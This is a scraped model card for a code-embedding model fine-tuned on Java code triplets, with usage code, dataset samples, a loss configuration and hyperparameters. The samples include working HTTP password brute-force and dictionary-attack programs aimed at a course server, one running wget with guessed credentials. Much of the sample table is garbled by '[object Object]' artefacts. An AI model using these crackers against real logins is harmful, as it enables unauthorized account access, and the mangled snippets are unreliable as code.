Views
No views yet
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)pip install -U sentence-transformers1from sentence_transformers import SentenceTransformer
2
3# Download from the 🤗 Hub
4model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr5e-05-split0.2")
5# Run inference
6sentences = [
7 '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
8 'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
9 '\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
10]
11embeddings = model.encode(sentences)
12print(embeddings.shape)
13# [3, 768]
14
15# Get the similarity scores for the embeddings
16similarities = model.similarity(embeddings, embeddings)
17print(similarities)
18# tensor([[1.0000, 0.9549, 0.5951],
19# [0.9549, 1.0000, 0.5695],
20# [0.5951, 0.5695, 1.0000]])anchor_code, positive_code, and negative_code| anchor_code | positive_code | negative_code | |
|---|---|---|---|
| type | string | string | string |
| details |
|
|
|
| anchor_code | positive_code | negative_code |
|---|---|---|
import java.util.[object Object];[object Object][object Object][object Object][object Object]public class WatchDog {[object Object][object Object] public WatchDog() {[object Object][object Object] }[object Object] public static void main(String args[]) {[object Object] DataInputStream newin;[object Object][object Object] try{[object Object][object Object][object Object] System.out.println("Downloading first copy");[object Object] Runtime.getRuntime().exec("wget [object Object] -O oldfile.html");[object Object] String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};[object Object] String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};[object Object] while(true){[object Object] Thread.sleep(24[object Object]60*1000);[object Object] System.out.println("Downloading new copy");[object Object] Runtime.getRuntime().exec("wget [object Object] -O newfile.html");[object Object] Thread.sleep(2000);[object Object] Runtime.getRuntime().exec(cmdDiff);[object Object] Thread.sleep(2000);[object Object] newin = new DataInputStream( new FileInputStream( "Diff.txt"));[object Object] if (newin.readLine() != null){[object Object] System.out.println("Sending Mail");[object Object] ... | import java.util.[object Object];[object Object]import javax.swing.text.html.[object Object]60[object Object]1000);[object Object] System.out.println("Downloading new copy");[object Object] Runtime.getRuntime().exec("wget [object Object] -O newfile.html");[object Object] Thread.sleep(2000);[object Object] Runtime.getRuntime().exec(cmdDiff);[object Object] Thread.sleep(2000);[object Object] newin = new DataInputStream( new FileInputStream( "Diff.txt"));[object Object] if (newin.readLine() ... | [object Object][object Object]import java.net.[object Object];[object Object]import java.util.*;[object Object][object Object]public class BruteForce{[object Object][object Object] private static URL location;[object Object] private static String user;[object Object] private BufferedReader input;[object Object] private char [] password = {'A', 'A', 'A'};[object Object] private int noLetters = 3;[object Object][object Object] [object Object][object Object] public BruteForce() {[object Object] [object Object] Authenticator.setDefault(new MyAuthenticator ());[object Object][object Object] startTime = System.currentTimeMillis();[object Object] boolean passwordMatched = false;[object Object] while (!passwordMatched) {[object Object] try {[object Object] input = new BufferedReader(new InputStreamReader(location.openStream()));[object Object] String line = input.readLine();[object Object] while (line != null) {[object Object] System.out.println(line);[object Object] line = input.readLine();[object Object] }[object Object] input.close();[object Object] passwordMatched = true;[object Object] }[object Object] catch (ProtocolException e)[object Object] {[object Object] [object Object] [object Object] }[object Object] catch (ConnectException e) {[object Object] System.out.println("Failed connect");[object Object] }[object Object] catch (IOException e)... |
import java.util.[object Object];[object Object]import java.io.*;[object Object][object Object]public class BruteForce[object Object]{[object Object] boolean connected = false;[object Object] int counter;[object Object] String[] chars = {"a","b","c","d","e","f","g","h",[object Object] "i","j","k","l","m","n","o","p",[object Object] "q","r","s","t","u","v","w","x",[object Object] "y","z","A","B","C","D","E","F",[object Object] "G","H","I","J","K","L","M","N",[object Object] "O","P","Q","R","S","T","U","V",[object Object] "W","X","Y","Z"};[object Object] Vector combinations = new Vector();[object Object] [object Object] BruteForce()[object Object] {[object Object] counter = 0;[object Object] this.genCombinations();[object Object] this.startAttack();[object Object] } [object Object] [object Object] public void startAttack()[object Object] {[object Object] while(counter<this.combinations.size())[object Object] {[object Object] connected = sendRequest();[object Object] if(connected == true)[object Object] {[object Object] System.out.print("The password is: ");[object Object] System.out.println((String)combinations.elementAt(counter-1));[object Object] counter = combinations.size(... | import java.util.[object Object];[object Object]import java.io.*; [object Object][object Object]public class Dictionary[object Object]{[object Object] boolean connected = false;[object Object] int counter;[object Object] [object Object] Vector words = new Vector();[object Object] [object Object] Dictionary()[object Object] {[object Object] counter = 0;[object Object] this.readWords(); [object Object] this.startAttack();[object Object] } [object Object] [object Object] public void startAttack()[object Object] {[object Object] while(counter<this.words.size())[object Object] {[object Object] connected = sendRequest();[object Object] if(connected == true)[object Object] {[object Object] System.out.print("The password is: ");[object Object] System.out.println((String)words.elementAt(counter-1));[object Object] counter = words.size();[object Object] }[object Object] }[object Object] }[object Object] [object Object][object Object] public void readWords()[object Object] {[object Object] String line;[object Object][object Object] try[object Object] {[object Object] BufferedReader buffer = new BufferedReader([object Object] new FileReader("/usr/share/lib/dict/words"));[object Object] [object Object] line = buffer.readLine();[object Object][object Object] while(line != null)[object Object] {[object Object][object Object] if(line.length() <= 3)[object Object] ... | import java.net.[object Object];[object Object][object Object]public class BruteForce[object Object]{[object Object] public BruteForce(String u,String uname) throws Exception[object Object] {[object Object] String pass="";[object Object] try[object Object] {[object Object] String []chr={"a","b","c","d","e","f","g","h","i","j",[object Object] "k","l","m","n","o","p","q","r","s","t",[object Object] "u","v","w","x","y","z","A","B","C","D",[object Object] "E","F","G","H","I","J","K","L","M","N",[object Object] "O","P","Q","R","S","T","U","V","W","X","Y","Z"};[object Object] URL url=new URL(u);[object Object] PasswordAuthentication pa;[object Object] MyAuthenticator =new MyAuthenticator();[object Object] HttpURLConnection h;[object Object] int c=0;[object Object] for(int i=1;i<=52;i++)[object Object] {[object Object] c++;[object Object] pass=""+chr[i-1];[object Object] pa=new PasswordAuthentication(uname,pass.toCharArray());[object Object] h.setPasswordAuthentication(pa);[object Object] Authenticator.setDefault();[object Object] h=(HttpURLConnection)url.openConnection();[object Object] h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));[object Object]System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");[object Object] if(h.getResponseCode() != 401)[object Object] throw... |
import java.net.[object Object];[object Object]import java.[object Object];[object Object]import java.Object.[object Object];[object Object]import java.util.StringTokenizer;[object Object][object Object][object Object]public class ReadFile[object Object]{[object Object] private StringTokenizer tokenizer;[object Object] private BufferedReader bf;[object Object] private String line;[object Object] private String first;[object Object] Vector in = new Vector();[object Object] [object Object] public void loadFile()throws NoSuchElementException, IOException[object Object] {[object Object] System.out.println("in loadFile");[object Object] try{[object Object] bf = new BufferedReader(new FileReader("words"));[object Object] }[object Object] catch(FileNotFoundException fe){}[object Object] catch(IOException io){}[object Object] while((line = bf.readLine())!=null)[object Object] {[object Object][object Object] int index = 0;[object Object] tokenizer = new StringTokenizer(line);[object Object] try[object Object] {[object Object] first = tokenizer.nextToken();[object Object] [object Object] [object Object] if (first.length() == 3)[object Object] {[object Object] in.add(first);[object Object] }[object Object] }[object Object] catch(NoSuchElementException n)[object Object] {[object Object] System.out.println("File Loaded Succesfully");[object Object][object Object] }[object Object][object Object] }[object Object] }[object Object] public Vector getVector()[object Object] {[object Object] return in;[object Object]... | import java.net.[object Object];[object Object]import java.[object Object];[object Object]import java.Object.[object Object];[object Object]import java.util.StringTokenizer;[object Object][object Object]public class makePasswords[object Object]{[object Object] public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",[object Object] "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",[object Object] "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",[object Object] "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};[object Object] [object Object] public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",[object Object] "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",[object Object] "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};[object Object] [object Object] public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",[object Object] "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",[object Object] "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ... | package java.httputils;[object Object][object Object]import java.io.BufferedInputStream;[object Object]import java.io.BufferedOutputStream;[object Object]import java.io.BufferedReader;[object Object]import java.io.FileInputStream;[object Object]import java.io.FileNotFoundException;[object Object]import java.io.FileOutputStream;[object Object]import java.io.FileReader;[object Object]import java.io.IOException;[object Object]import java.io.OutputStream;[object Object][object Object][object Object]public class WatchDog[object Object]{[object Object] protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);[object Object] protected int interval = 24;[object Object] protected String URL = "[object Object]";[object Object] protected String fileName = "WatchDogContent.html";[object Object] protected String command = "./alert_mail.sh";[object Object] protected String savedContent;[object Object] protected String retrievedContent;[object Object][object Object] [object Object] public WatchDog()[object Object] {[object Object] super();[object Object] }[object Object][object Object] [object Object] public void run() throws Exception[object Object] {[object Object] HttpRequestClient client = null;[object Object] [object Object] [object Object] System.out.println(getClass().getName() +[object Object] "Retrieving baseline copy of: " + getURL());[object Object] client = new HttpRequestClie... |
CachedMultipleNegativesRankingLoss with these parameters:
1{
2 "scale": 20.0,
3 "similarity_fct": "cos_sim",
4 "mini_batch_size": 32,
5 "gather_across_devices": false
6}anchor_code, positive_code, and negative_code| anchor_code | positive_code | negative_code | |
|---|---|---|---|
| type | string | string | string |
| details |
|
|
|
| anchor_code | positive_code | negative_code |
|---|---|---|
[object Object][object Object][object Object][object Object][object Object][object Object]import java.util.[object Object];[object Object][object Object]public class WatchDog[object Object]{ [object Object][object Object] public static void main(String args[])[object Object] {[object Object][object Object] Runtime rt1 = Runtime.getRuntime();[object Object] Process prss1= null;[object Object][object Object] try[object Object] {[object Object] prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html [object Object]");[object Object] }catch(java.io.IOException e){}[object Object][object Object] MyWatchDogTimer w = new MyWatchDogTimer();[object Object] Timer time = new Timer();[object Object] time.schedule(w,864000000,864000000);[object Object][object Object] [object Object] }[object Object]}[object Object] | [object Object][object Object][object Object][object Object][object Object]import java.util.[object Object];[object Object][object Object]public class MyTimer[object Object]{ [object Object][object Object] public static void main(String args[])[object Object] {[object Object] Watchdog watch = new Watchdog();[object Object] Timer time = new Timer();[object Object] time.schedule(watch,864000000,864000000);[object Object] [object Object] [object Object] }[object Object]}[object Object] | import java.net.[object Object]; [object Object]import java.util.Vector;[object Object]import java.util.Date;[object Object]import java.security.[object Object]1000*60;[object Object] boolean timedOut=false;[object Object] boolean found=false;[object Object] [object Object] [object Object] Vector dictionary=new Vector(readWords());[object Object] System.out.println("Words in dictionary: "+dictionary.size());[object Object] [object Object] [object Object] [object Object] [object Object] [object Object] [object Object] [object Object] while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {[object Object] [object Object] Date endDate = new Date();[object Object] endTime=endDate.getTime(); [object Object] if (endTime>(TIMELIMIT+startTime)){[object Object] System.out.println("Timed out");[object Object] timedOut=true;[object Object] }[object Object] [object Object] String password = "";[object Object][object Object] ... |
[object Object][object Object][object Object]import java.io.InputStream;[object Object]import java.util.Properties;[object Object][object Object]import javax.naming.Context;[object Object]import javax.naming.InitialContext;[object Object]import javax.rmi.PortableRemoteObject;[object Object]import javax.sql.DataSource;[object Object][object Object][object Object][object Object][object Object][object Object][object Object]public class MailsendPropertyHelper {[object Object][object Object] private static Properties testProps;[object Object][object Object] public MailsendPropertyHelper() {[object Object] }[object Object][object Object][object Object] [object Object][object Object] public static String getProperty(String pKey){[object Object] try{[object Object] initProps();[object Object] }[object Object] catch(Exception e){[object Object] System.err.println("Error init'ing the watchddog Props");[object Object] e.printStackTrace();[object Object] }[object Object] return testProps.getProperty(pKey);[object Object] }[object Object][object Object][object Object] private static void initProps() throws Exception{[object Object] if(testProps == null){[object Object] testProps = new Properties();[object Object][object Object] InputStream fis =[object Object] MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");[object Object] testProps.load(fis);[object Object] }[object Object] }[object Object]}[object Object][object Object][object Object][object Object][object Object][object Object] | [object Object][object Object][object Object][object Object]import java.io.InputStream;[object Object]import java.util.Properties;[object Object][object Object]import javax.naming.Context;[object Object]import javax.naming.InitialContext;[object Object]import javax.rmi.PortableRemoteObject;[object Object]import javax.sql.DataSource;[object Object][object Object][object Object][object Object][object Object]public class BruteForcePropertyHelper {[object Object][object Object] private static Properties bruteForceProps;[object Object][object Object][object Object][object Object] public BruteForcePropertyHelper() {[object Object] }[object Object][object Object][object Object] [object Object][object Object] public static String getProperty(String pKey){[object Object] try{[object Object] initProps();[object Object] }[object Object] catch(Exception e){[object Object] System.err.println("Error init'ing the burteforce Props");[object Object] e.printStackTrace();[object Object] }[object Object] return bruteForceProps.getProperty(pKey);[object Object] }[object Object][object Object][object Object] private static void initProps() throws Exception{[object Object] if(bruteForceProps == null){[object Object] bruteForceProps = new Properties();[object Object][object Object] InputStream fis =[object Object] BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");[object Object] bruteForceProps.load(fis);[object Object] }[object Object] }[object Object]}[object Object][object Object] | [object Object]import java.net.[object Object];[object Object]import java.Ostermiller.util.[object Object];[object Object][object Object]public class MyClient2 implements Runnable[object Object]{[object Object] private String hostname;[object Object] private int port;[object Object] private String filename;[object Object] private Socket s;[object Object] private int n;[object Object] private InputStream sin;[object Object] private OutputStream sout;[object Object] private int dif;[object Object] private String myPassword;[object Object] private int status;[object Object] private int myTime;[object Object] private BruteForce myMaster;[object Object] [object Object][object Object] public MyClient2(BruteForce bf , int num, int myPort, String password)[object Object] {[object Object] [object Object] hostname = new String("sec-crack.cs.rmit.edu.");[object Object] port = myPort;[object Object] status = 0;[object Object] myTime = 0;[object Object] myPassword = password;[object Object] filename = new String("/SEC/2/");[object Object] myMaster = 0;[object Object] n = num;[object Object] dif = 0;[object Object] [object Object] }[object Object] public getDif()[object Object] {[object Object] return dif;[object Object] }[object Object] public int getStatus()[object Object] {[object Object] return status;[object Object] }[object Object] public void run() [object Object] {[object Object] String inputLine;[object Object] String[] tokens = new String[5];[object Object] int i;[object Object] myTime = 0;[object Object] ... |
import java.io.[object Object];[object Object]import java.util.*;[object Object][object Object][object Object]public class Dictionary[object Object]{[object Object] public static void main (String args[])[object Object] {[object Object] [object Object] [object Object] Calendar cal = Calendar.getInstance();[object Object] Date now=cal.getTime();[object Object] double startTime = now.getTime();[object Object][object Object] String password=getPassword(startTime);[object Object] System.out.println("The password is " + password);[object Object] }[object Object][object Object] public static String getPassword(double startTime)[object Object] {[object Object] String password="";[object Object] int requests=0;[object Object][object Object] try[object Object] {[object Object] [object Object] FileReader fRead = new FileReader("/usr/share/lib/dict/words");[object Object] BufferedReader buf = new BufferedReader(fRead);[object Object][object Object] password=buf.readLine();[object Object][object Object] while (password != null)[object Object] {[object Object] [object Object] if (password.length()<=3)[object Object] {[object Object] requests++;[object Object] if (testPassword(password, startTime, requests))[object Object] return password;[object Object] }[object Object][object Object] password = buf.readLine();[object Object][object Object] }[object Object] }[object Object] catch (IOException ioe)[object Object] {[object Object][object Object] }[object Object][object Object] return password;[object Object] }[object Object][object Object] private static boolean testPassword(String password, double startTime, int requests)[object Object] {[object Object] try[object Object] {[object Object] [object Object] [object Object] U... | import java.io.[object Object];[object Object]import java.util.*;[object Object][object Object][object Object]public class BruteForce[object Object]{[object Object][object Object] public static void main(String args[])[object Object] {[object Object] [object Object] [object Object] Calendar cal = Calendar.getInstance();[object Object] Date now=cal.getTime();[object Object] double startTime = now.getTime();[object Object][object Object] String password=getPassword(startTime);[object Object] System.out.println("The password is " + password);[object Object] }[object Object][object Object] public static String getPassword(double startTime)[object Object] {[object Object] char first, second, third;[object Object] String password="";[object Object] int requests=0;[object Object][object Object] [object Object] for (int i=65; i<123; i++)[object Object] {[object Object] requests++;[object Object] first = (char) i;[object Object][object Object] password = first + "";[object Object][object Object] [object Object] if (testPassword(password, startTime, requests))[object Object] return password;[object Object][object Object] for (int j=65; j<123; j++)[object Object] {[object Object] requests++;[object Object] second = (char) j;[object Object][object Object] password = first + "" + second;[object Object][object Object] [object Object] if (testPassword(password, startTime, requests))[object Object] return password;[object Object][object Object] for (int k=65; k<123; k++)[object Object] {[object Object] requests++;[object Object] third = (char) k;[object Object][object Object] password = first + "" + second + "" + third;[object Object][object Object] [object Object] if (test... | [object Object][object Object]import java.misc.BASE64Encoder;[object Object]import java.misc.BASE64Decoder;[object Object]import java.io.[object Object];[object Object]import java.util.*;[object Object][object Object][object Object][object Object]public class Dictionary {[object Object] [object Object] public Dictionary(String url, String dictionaryFile) {[object Object] try{[object Object] this.url = url;[object Object] this.dictionaryPath = dictionaryFile;[object Object] InputStream fis = new FileInputStream(this.dictionaryPath);[object Object] dict = new BufferedReader(new InputStreamReader(fis));[object Object][object Object] }catch(IOException ioe){[object Object] System.out.println("Error opening dictionary file:\n" +ioe);[object Object] }[object Object] }[object Object][object Object][object Object] [object Object] private String url = null;[object Object] [object Object] private String dictionaryPath = null;[object Object] [object Object] private BufferedReader dict = null;[object Object] [object Object] private int attempts = 0;[object Object] [object Object] private int passwordSize = 3;[object Object] [object Object] public void setPasswordSize(int size){[object Object] this.passwordSize = size;[object Object] }[object Object] [object Object] public String getNextPassword()throws IOException{[object Object][object Object] String line = dict.readLine();[object Object][object Object] while(line!=null&&line.length()!=this.passwordSize )[object Object] line = dict.readLine();[object Object][object Object] return line;[object Object] }[object Object] [object Object] publ... |
CachedMultipleNegativesRankingLoss with these parameters:
1{
2 "scale": 20.0,
3 "similarity_fct": "cos_sim",
4 "mini_batch_size": 32,
5 "gather_across_devices": false
6}per_device_train_batch_size: 256num_train_epochs: 1warmup_ratio: 0.1fp16: Truebatch_sampler: no_duplicatesoverwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 256per_device_eval_batch_size: 8per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}parallelism_config: Nonedeepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torch_fusedoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsehub_revision: Nonegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseliger_kernel_config: Noneeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportionalrouter_mapping: {}learning_rate_mapping: {}| Epoch | Step | Training Loss |
|---|---|---|
| 0.7407 | 100 | 0.4377 |
1@inproceedings{reimers-2019-sentence-bert,
2 title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
3 author = "Reimers, Nils and Gurevych, Iryna",
